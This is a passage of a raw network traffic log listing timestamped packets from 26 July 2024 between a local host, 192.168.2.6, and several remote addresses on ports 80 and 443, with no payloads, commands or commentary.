Jul 26, 2024 13:49:35.357738972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.357748032 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.357760906 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.357789993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.357935905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.357945919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.357954025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.357964039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.357974052 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.357990980 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.360627890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.360680103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.360683918 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.360688925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.360709906 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.360822916 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.360827923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.360836983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.360845089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.360918045 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.361169100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.361213923 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.371700048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.371710062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.371818066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.371834040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.371845007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.371855974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372040033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372412920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372435093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372519016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372610092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372620106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372629881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.372840881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.374454021 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.374747992 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.374943018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.385852098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.385965109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.386018038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.386028051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.386063099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.386097908 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.386135101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.386219025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.386229992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.386406898 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.393120050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393142939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393198013 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.393198013 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.393227100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393238068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393362045 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.393385887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393395901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393408060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393419027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393652916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393663883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393675089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393842936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393855095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.393866062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.394077063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.394150019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.394170046 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.394191980 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.399979115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.399990082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400088072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400099039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400163889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400223970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400234938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400283098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400340080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400372028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400520086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400561094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400621891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400702000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400712013 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400830030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400840998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.400857925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.405123949 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.405181885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.405205011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.405215025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.405334949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.405345917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.405505896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.405544043 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.405575037 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.405751944 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.420180082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.420190096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.420209885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.420293093 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.421017885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.421060085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.421065092 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.421071053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.421255112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.421267033 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.423355103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423374891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423383951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423455000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.423455000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.423526049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423537016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423546076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423675060 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.423700094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.423928022 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.425750971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.425762892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.425875902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.425884962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.425895929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.426047087 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.426096916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.427483082 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.428641081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.428641081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.430548906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430560112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430569887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430628061 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.430675983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430742025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430753946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430764914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.430775881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.431063890 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.431076050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.431087017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.431097031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.431107998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.431119919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.431135893 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.431162119 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.431288958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.432180882 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.444593906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.444674969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.445199013 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.445239067 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.842618942 CEST	80	59072	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:35.842791080 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.843343973 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.848618984 CEST	80	59072	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:36.096898079 CEST	80	59072	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:36.097311020 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:36.100476027 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:36.100477934 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:36.106481075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:36.106496096 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:36.107688904 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:36.110063076 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:36.115495920 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:36.224271059 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:36.224540949 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:36.229592085 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:36.230171919 CEST	80	59072	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:36.231986046 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:36.231987953 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:36.232274055 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:36.237313032 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.033257008 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.070656061 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.085021973 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:37.133083105 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:37.213525057 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.218873024 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.276048899 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:37.290227890 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:37.459166050 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:37.460854053 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:37.463007927 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:37.476911068 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:37.503046036 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.503880024 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.669629097 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.669893980 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.674736023 CEST	80	59076	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.676455975 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.680983067 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.686480045 CEST	80	59076	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.715838909 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.721177101 CEST	80	59074	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:37.730431080 CEST	59074	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:37.955254078 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:37.955286026 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:37.956106901 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:37.956106901 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:37.956144094 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.048928022 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:38.052726030 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:38.279774904 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:38.285183907 CEST	80	59079	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:38.285794973 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:38.295948029 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:38.301372051 CEST	80	59079	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:38.513346910 CEST	80	59076	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:38.514780998 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.518090963 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.523112059 CEST	80	59076	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:38.651227951 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.696522951 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.723495960 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.723514080 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.727404118 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.731424093 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.735004902 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.735093117 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.735099077 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.735167980 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.771342993 CEST	80	59076	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:38.773899078 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.777065039 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.777075052 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.837678909 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.890424013 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.890692949 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.896168947 CEST	80	59080	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:38.896291018 CEST	80	59076	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:38.897145033 CEST	59076	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.897171974 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.897357941 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:38.904398918 CEST	80	59080	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:38.924920082 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:38.924958944 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:38.925019979 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:38.925281048 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:38.925291061 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:38.926949978 CEST	80	59079	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:38.927020073 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:38.927810907 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.927872896 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.927928925 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.928019047 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.928035975 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.928052902 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.928102016 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.928160906 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:38.929632902 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.931071997 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:38.936564922 CEST	80	59079	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:38.937062025 CEST	59078	443	192.168.2.6	142.250.186.68
Jul 26, 2024 13:49:38.937076092 CEST	443	59078	142.250.186.68	192.168.2.6
Jul 26, 2024 13:49:39.112267017 CEST	80	59079	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:39.115411043 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:39.695625067 CEST	80	59080	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:39.701931000 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:39.705745935 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:39.710509062 CEST	80	59080	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:39.723864079 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:39.723937988 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:39.737150908 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:39.737176895 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:39.737483025 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:39.743590117 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:39.743645906 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:39.743680000 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:39.778723955 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:39.778749943 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:39.779150009 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:39.779417992 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:39.779433012 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:39.960980892 CEST	80	59080	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:39.961258888 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.066292048 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.066595078 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.071747065 CEST	80	59083	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:40.072117090 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.072859049 CEST	80	59080	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:40.072887897 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.073067904 CEST	59080	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.077744961 CEST	80	59083	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:40.102190971 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:40.102245092 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:40.102307081 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:40.102335930 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:40.102468967 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:40.102472067 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:40.102606058 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:40.102606058 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:40.102652073 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:40.103609085 CEST	59081	443	192.168.2.6	40.126.32.76
Jul 26, 2024 13:49:40.103617907 CEST	443	59081	40.126.32.76	192.168.2.6
Jul 26, 2024 13:49:40.163433075 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.163528919 CEST	443	59084	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:40.163644075 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.166559935 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.166598082 CEST	443	59084	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:40.563628912 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:40.564356089 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:40.566031933 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:40.566039085 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:40.566436052 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:40.566782951 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:40.566874027 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:40.566920042 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:40.766318083 CEST	443	59084	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:40.772511959 CEST	443	59084	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:40.772794962 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.781784058 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.781821012 CEST	443	59084	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:40.782711983 CEST	443	59084	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:40.861855984 CEST	80	59083	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:40.863785982 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.871023893 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.871820927 CEST	59084	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:40.873558044 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:40.882481098 CEST	80	59083	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:41.123116016 CEST	80	59083	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:41.123183012 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:41.242269039 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:41.242506027 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:41.248143911 CEST	80	59083	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:41.249363899 CEST	80	59085	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:41.249866009 CEST	59083	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:41.249892950 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:41.250303984 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:41.257024050 CEST	80	59085	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:41.338416100 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:41.338478088 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:41.338689089 CEST	443	59082	20.190.159.68	192.168.2.6
